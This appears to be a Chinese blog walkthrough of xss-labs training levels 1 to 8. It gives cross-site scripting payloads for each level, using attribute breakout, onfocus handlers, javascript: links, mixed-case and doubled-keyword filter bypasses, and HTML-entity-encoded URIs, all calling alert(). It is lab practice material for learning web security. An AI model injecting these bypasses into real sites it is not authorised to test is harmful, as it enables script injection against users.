当前位置: 首页 > news >正文

xss-labs靶场1-8

level1

<script>alert()</script>

 

level2

闭合绕过

">  <script>alert()</script>  <"

 

level3+level4

onfocus事件绕过

' onfocus=javascript:alert() '然后再点击输入框触发onfocus事件

 

 

level5

有小写字母转化函数,用a href标签法,前提是闭合号<"">没失效

"> <a href=javascript:alert()>xxx</a> <"

 

level6

关键字测试

大小写测试

用大小写法绕过str_replace()函数  

"> <sCript>alert()</sCript> <"

 

level7

关键字测试

用双拼写绕过

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level8

关键字测试

input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,过滤掉了src、data、onfocus、href、script、双引号

利用href的隐藏属性自动Unicode解码,插入一段js伪协议

javascript:alert()

 在线Unicode编码解码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

http://www.dtcms.com/a/287332.html

相关文章:

  • DAMA数据管理具像化解读|第一章数据管理|业务驱动因素
  • 暑期训练8
  • 13.4 Meta LLaMA开源模型家族全面解析:从Alpaca到Vicuna的技术内幕
  • 外观设计模式
  • 删除debian xdm自启动ibus的配置项
  • 2021 RoboCom 世界机器人开发者大赛-本科组(初赛)解题报告 | 珂学家
  • c语言-数据结构-如何用分冶法求得二叉树的节点数与高度?
  • CSS篇——第一章 六十五项关键技能(上篇)
  • Node.js特训专栏-实战进阶:17.会话管理与安全存储
  • Rust+ChatBoxAI:实战
  • 多模态交互视角下生成式人工智能在中小学探究式学习中的认知支架效能研究
  • SpringBoot项目部署至云服务器
  • Django接口自动化平台实现(三)
  • YOLOv11改进 | RFAConv重塑空间注意力助力性能提升
  • 2025第15届上海国际生物发酵展:聚焦合成生物与绿色制造,共启生物经济新时代
  • 数据集下载网站
  • 进阶向:基于Python的智能客服系统设计与实现
  • Spring之【AnnotatedBeanDefinitionReader】
  • Django母婴商城项目实践(十一)- 用户信息模块之用户登录注册
  • 【vue-5】Vue 3 中的 v-model:双向数据绑定的全面指南
  • 基于Python的口腔正畸健康教育聊天机器人开发与评估研究
  • XSS漏洞学习总结
  • 【Linux】基本指令详解(三) 指令本质、三个查找指令、打包压缩、重要热键、linux体系结构、命令行解释器
  • 数据结构 队列
  • 《计算机网络》实验报告二 IP协议分析
  • 在摄像机视图中想像在普通 3D 视口里那样随意移动
  • ROS2 通过相机确定物品坐标位置
  • 【Git】报错:git config --global http.sslBackend “openssl“
  • Java Map 常用方法大全
  • 鸿蒙蓝牙通信